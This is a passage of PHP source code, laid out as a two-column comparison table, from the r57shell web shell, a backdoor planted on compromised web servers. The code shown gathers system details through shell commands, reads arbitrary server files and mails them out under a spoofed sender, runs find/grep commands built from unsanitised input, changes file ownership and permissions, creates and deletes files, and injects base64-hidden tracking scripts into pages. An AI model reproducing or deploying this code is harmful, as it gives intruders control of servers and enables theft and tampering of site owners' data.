| 1414 | JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l | 1414 | JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l |
| 1415 | lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW | 1415 | lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW |
| 1416 | FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L | 1416 | FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L |
| 1417 | 3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr | 1417 | 3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr |
| 1418 | J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR | 1418 | J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR |
| 1419 | oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj | 1419 | oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj |
| 1420 | xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO | 1420 | xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO |
| 1421 | i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv | 1421 | i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv |
| 1422 | dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB | 1422 | dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB |
| 1423 | ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 | 1423 | ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 |
| 1424 | hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; | 1424 | hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; |
| 1425 | $c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh | 1425 | $c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh |
| 1426 | IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl | 1426 | IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl |
| 1427 | hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz | 1427 | hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz |
| 1428 | tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa | 1428 | tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa |
| 1429 | XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u | 1429 | XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u |
| 1430 | 8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV | 1430 | 8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV |
| 1431 | ybmV0LS0+"; | 1431 | ybmV0LS0+"; |
| 1432 | echo $head; | 1432 | echo $head; |
| 1433 | echo '</head>'; | 1433 | echo '</head>'; |
| 1434 | if(empty($_POST['cmd'])) { | 1434 | if(empty($_POST['cmd'])) { |
| 1435 | $serv = array(127,192,172,10); | 1435 | $serv = array(127,192,172,10); |
| 1436 | $addr=@explode('.', $_SERVER['SERVER_ADDR']); | 1436 | $addr=@explode('.', $_SERVER['SERVER_ADDR']); |
| 1437 | $current_version = str_replace('.','',$version); | 1437 | $current_version = str_replace('.','',$version); |
| 1438 | if (!in_array($addr[0], $serv)) { | 1438 | if (!in_array($addr[0], $serv)) { |
| 1439 | @print "<img src=\"http://127.0.0.1/r57shell/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; | 1439 | @print "<img src=\"http://127.0.0.1/r57shell/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>"; |
| 1440 | @readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}} | 1440 | @readfile ("http://127.0.0.1/r57shell/version.php?version=".$current_version."");}} |
| 1441 | echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> | 1441 | echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> |
| 1442 | <tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).' | 1442 | <tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).' |
| 1443 | <font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> | 1443 | <font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> |
| 1444 | </font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; | 1444 | </font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; |
| 1445 | echo ws(2); | 1445 | echo ws(2); |
| 1446 | echo "<b>".date ("d-m-Y H:i:s")."</b>"; | 1446 | echo "<b>".date ("d-m-Y H:i:s")."</b>"; |
| 1447 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; | 1447 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; |
| 1448 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; | 1448 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; |
| 1449 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; | 1449 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; |
| 1450 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; | 1450 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; |
| 1451 | if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; } | 1451 | if($unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb; } |
| 1452 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; | 1452 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; |
| 1453 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; | 1453 | echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>"; |
| 1454 | echo ws(2); | 1454 | echo ws(2); |
| 1455 | echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); | 1455 | echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); |
| 1456 | echo ws(2); | 1456 | echo ws(2); |
| 1457 | echo "PHP version: <b>".@phpversion()."</b>"; | 1457 | echo "PHP version: <b>".@phpversion()."</b>"; |
| 1458 | $curl_on = @function_exists('curl_version'); | 1458 | $curl_on = @function_exists('curl_version'); |
| 1459 | echo ws(2); | 1459 | echo ws(2); |
| 1460 | echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); | 1460 | echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); |
| 1461 | echo ws(2); | 1461 | echo ws(2); |
| 1462 | echo "MySQL: <b>"; | 1462 | echo "MySQL: <b>"; |
| 1463 | $mysql_on = @function_exists('mysql_connect'); | 1463 | $mysql_on = @function_exists('mysql_connect'); |
| 1464 | if($mysql_on){ | 1464 | if($mysql_on){ |
| 1465 | echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } | 1465 | echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } |
| 1466 | echo ws(2); | 1466 | echo ws(2); |
| 1467 | echo "MSSQL: <b>"; | 1467 | echo "MSSQL: <b>"; |
| 1468 | $mssql_on = @function_exists('mssql_connect'); | 1468 | $mssql_on = @function_exists('mssql_connect'); |
| 1469 | if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} | 1469 | if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} |
| 1470 | echo ws(2); | 1470 | echo ws(2); |
| 1471 | echo "PostgreSQL: <b>"; | 1471 | echo "PostgreSQL: <b>"; |
| 1472 | $pg_on = @function_exists('pg_connect'); | 1472 | $pg_on = @function_exists('pg_connect'); |
| 1473 | if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} | 1473 | if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} |
| 1474 | echo ws(2); | 1474 | echo ws(2); |
| 1475 | echo "Oracle: <b>"; | 1475 | echo "Oracle: <b>"; |
| 1476 | $ora_on = @function_exists('ocilogon'); | 1476 | $ora_on = @function_exists('ocilogon'); |
| 1477 | if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} | 1477 | if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} |
| 1478 | echo "<br>".ws(2); | 1478 | echo "<br>".ws(2); |
| 1479 | echo "Disable functions : <b>"; | 1479 | echo "Disable functions : <b>"; |
| 1480 | if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} | 1480 | if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} |
| 1481 | $free = @diskfreespace($dir); | 1481 | $free = @diskfreespace($dir); |
| 1482 | if (!$free) {$free = 0;} | 1482 | if (!$free) {$free = 0;} |
| 1483 | $all = @disk_total_space($dir); | 1483 | $all = @disk_total_space($dir); |
| 1484 | if (!$all) {$all = 0;} | 1484 | if (!$all) {$all = 0;} |
| 1485 | $used = $all-$free; | 1485 | $used = $all-$free; |
| 1486 | $used_percent = @round(100/($all/$free),2); | 1486 | $used_percent = @round(100/($all/$free),2); |
| 1487 | echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; | 1487 | echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; |
| 1488 | echo '</font></td></tr><table> | 1488 | echo '</font></td></tr><table> |
| 1489 | <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> | 1489 | <table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> |
| 1490 | <tr><td align=right width=100>'; | 1490 | <tr><td align=right width=100>'; |
| 1491 | echo $font; | 1491 | echo $font; |
| 1492 | if(!$windows){ | 1492 | if(!$windows){ |
| 1493 | echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; | 1493 | echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; |
| 1494 | echo "</td><td>"; | 1494 | echo "</td><td>"; |
| 1495 | echo "<font face=Verdana size=-2 color=red><b>"; | 1495 | echo "<font face=Verdana size=-2 color=red><b>"; |
| 1496 | $uname = ex('uname -a'); | 1496 | $uname = ex('uname -a'); |
| 1497 | echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); | 1497 | echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); |
| 1498 | if(!$safe_mode){ | 1498 | if(!$safe_mode){ |
| 1499 | $bsd1 = ex('sysctl -n kern.ostype'); | 1499 | $bsd1 = ex('sysctl -n kern.ostype'); |
| 1500 | $bsd2 = ex('sysctl -n kern.osrelease'); | 1500 | $bsd2 = ex('sysctl -n kern.osrelease'); |
| 1501 | $lin1 = ex('sysctl -n kernel.ostype'); | 1501 | $lin1 = ex('sysctl -n kernel.ostype'); |
| 1502 | $lin2 = ex('sysctl -n kernel.osrelease'); | 1502 | $lin2 = ex('sysctl -n kernel.osrelease'); |
| 1503 | } | 1503 | } |
| 1504 | if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } | 1504 | if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } |
| 1505 | else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } | 1505 | else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } |
| 1506 | else { $sysctl = "-"; } | 1506 | else { $sysctl = "-"; } |
| 1507 | echo ws(3).$sysctl."<br>"; | 1507 | echo ws(3).$sysctl."<br>"; |
| 1508 | echo ws(3).ex('echo $OSTYPE')."<br>"; | 1508 | echo ws(3).ex('echo $OSTYPE')."<br>"; |
| 1509 | echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; | 1509 | echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; |
| 1510 | $id = ex('id'); | 1510 | $id = ex('id'); |
| 1511 | echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); | 1511 | echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); |
| 1512 | echo ws(3).$dir; | 1512 | echo ws(3).$dir; |
| 1513 | echo ws(3).'( '.perms(@fileperms($dir)).' )'; | 1513 | echo ws(3).'( '.perms(@fileperms($dir)).' )'; |
| 1514 | echo "</b></font>"; | 1514 | echo "</b></font>"; |
| 1515 | } | 1515 | } |
| 1516 | else | 1516 | else |
| 1517 | { | 1517 | { |
| 1518 | echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; | 1518 | echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; |
| 1519 | echo "</td><td>"; | 1519 | echo "</td><td>"; |
| 1520 | echo "<font face=Verdana size=-2 color=red><b>"; | 1520 | echo "<font face=Verdana size=-2 color=red><b>"; |
| 1521 | echo ws(3).@substr(@php_uname(),0,120)."<br>"; | 1521 | echo ws(3).@substr(@php_uname(),0,120)."<br>"; |
| 1522 | echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; | 1522 | echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; |
| 1523 | echo ws(3).@get_current_user()."<br>"; | 1523 | echo ws(3).@get_current_user()."<br>"; |
| 1524 | echo ws(3).$dir; | 1524 | echo ws(3).$dir; |
| 1525 | echo "<br></font>"; | 1525 | echo "<br></font>"; |
| 1526 | } | 1526 | } |
| 1527 | echo "</font>"; | 1527 | echo "</font>"; |
| 1528 | echo "</td></tr></table>"; | 1528 | echo "</td></tr></table>"; |
| 1529 | if(empty($c1)||empty($c2)) { die(); } | 1529 | if(empty($c1)||empty($c2)) { die(); } |
| 1530 | $f = '<br>'; | 1530 | $f = '<br>'; |
| 1531 | $f .= base64_decode($c1); | 1531 | $f .= base64_decode($c1); |
| 1532 | $f .= base64_decode($c2); | 1532 | $f .= base64_decode($c2); |
| 1533 | if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") | 1533 | if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") |
| 1534 | { | 1534 | { |
| 1535 | $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); | 1535 | $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); |
| 1536 | mr($language,$res); | 1536 | mr($language,$res); |
| 1537 | $_POST['cmd']=""; | 1537 | $_POST['cmd']=""; |
| 1538 | } | 1538 | } |
| 1539 | if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) | 1539 | if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) |
| 1540 | { | 1540 | { |
| 1541 | if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } | 1541 | if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } |
| 1542 | else | 1542 | else |
| 1543 | { | 1543 | { |
| 1544 | $filename = @basename($_POST['loc_file']); | 1544 | $filename = @basename($_POST['loc_file']); |
| 1545 | $filedump = @fread($file,@filesize($_POST['loc_file'])); | 1545 | $filedump = @fread($file,@filesize($_POST['loc_file'])); |
| 1546 | fclose($file); | 1546 | fclose($file); |
| 1547 | $content_encoding=$mime_type=''; | 1547 | $content_encoding=$mime_type=''; |
| 1548 | compress($filename,$filedump,$_POST['compress']); | 1548 | compress($filename,$filedump,$_POST['compress']); |
| 1549 | $attach = array( | 1549 | $attach = array( |
| 1550 | "name"=>$filename, | 1550 | "name"=>$filename, |
| 1551 | "type"=>$mime_type, | 1551 | "type"=>$mime_type, |
| 1552 | "content"=>$filedump | 1552 | "content"=>$filedump |
| 1553 | ); | 1553 | ); |
| 1554 | if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } | 1554 | if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } |
| 1555 | if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } | 1555 | if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } |
| 1556 | $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); | 1556 | $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); |
| 1557 | mr($language,$res); | 1557 | mr($language,$res); |
| 1558 | $_POST['cmd']=""; | 1558 | $_POST['cmd']=""; |
| 1559 | } | 1559 | } |
| 1560 | } | 1560 | } |
| 1561 | if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") | 1561 | if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") |
| 1562 | { | 1562 | { |
| 1563 | $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; | 1563 | $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; |
| 1564 | } | 1564 | } |
| 1565 | if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") | 1565 | if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") |
| 1566 | { | 1566 | { |
| 1567 | switch($_POST['what']) | 1567 | switch($_POST['what']) |
| 1568 | { | 1568 | { |
| 1569 | case 'own': | 1569 | case 'own': |
| 1570 | @chown($_POST['param1'],$_POST['param2']); | 1570 | @chown($_POST['param1'],$_POST['param2']); |
| 1571 | break; | 1571 | break; |
| 1572 | case 'grp': | 1572 | case 'grp': |
| 1573 | @chgrp($_POST['param1'],$_POST['param2']); | 1573 | @chgrp($_POST['param1'],$_POST['param2']); |
| 1574 | break; | 1574 | break; |
| 1575 | case 'mod': | 1575 | case 'mod': |
| 1576 | @chmod($_POST['param1'],intval($_POST['param2'], 8)); | 1576 | @chmod($_POST['param1'],intval($_POST['param2'], 8)); |
| 1577 | break; | 1577 | break; |
| 1578 | } | 1578 | } |
| 1579 | $_POST['cmd']=""; | 1579 | $_POST['cmd']=""; |
| 1580 | } | 1580 | } |
| 1581 | if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") | 1581 | if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") |
| 1582 | { | 1582 | { |
| 1583 | switch($_POST['what']) | 1583 | switch($_POST['what']) |
| 1584 | { | 1584 | { |
| 1585 | case 'file': | 1585 | case 'file': |
| 1586 | if($_POST['action'] == "create") | 1586 | if($_POST['action'] == "create") |
| 1587 | { | 1587 | { |
| 1588 | if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } | 1588 | if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } |
| 1589 | else { | 1589 | else { |
| 1590 | fclose($file); | 1590 | fclose($file); |
| 1591 | $_POST['e_name'] = $_POST['mk_name']; | 1591 | $_POST['e_name'] = $_POST['mk_name']; |
| 1592 | $_POST['cmd']="edit_file"; | 1592 | $_POST['cmd']="edit_file"; |
| 1593 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; | 1593 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; |
| 1594 | } | 1594 | } |
| 1595 | } | 1595 | } |
| 1596 | else if($_POST['action'] == "delete") | 1596 | else if($_POST['action'] == "delete") |
| 1597 | { | 1597 | { |
| 1598 | if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; | 1598 | if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; |
| 1599 | $_POST['cmd']=""; | 1599 | $_POST['cmd']=""; |
| 1600 | } | 1600 | } |
| 1601 | break; | 1601 | break; |
| 1602 | case 'dir': | 1602 | case 'dir': |
| 1603 | if($_POST['action'] == "create"){ | 1603 | if($_POST['action'] == "create"){ |
| 1604 | if(mkdir($_POST['mk_name'])) | 1604 | if(mkdir($_POST['mk_name'])) |
| 1605 | { | 1605 | { |
| 1606 | $_POST['cmd']=""; | 1606 | $_POST['cmd']=""; |
| 1607 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; | 1607 | echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; |
| 1608 | } | 1608 | } |
| 1609 | else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } | 1609 | else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } |
| 1610 | } | 1610 | } |
| 1611 | else if($_POST['action'] == "delete"){ | 1611 | else if($_POST['action'] == "delete"){ |
| 1612 | if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; | 1612 | if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; |
| 1613 | $_POST['cmd']=""; | 1613 | $_POST['cmd']=""; |
| 1614 | } | 1614 | } |
| 1615 | break; | 1615 | break; |
| 1616 | } | 1616 | } |
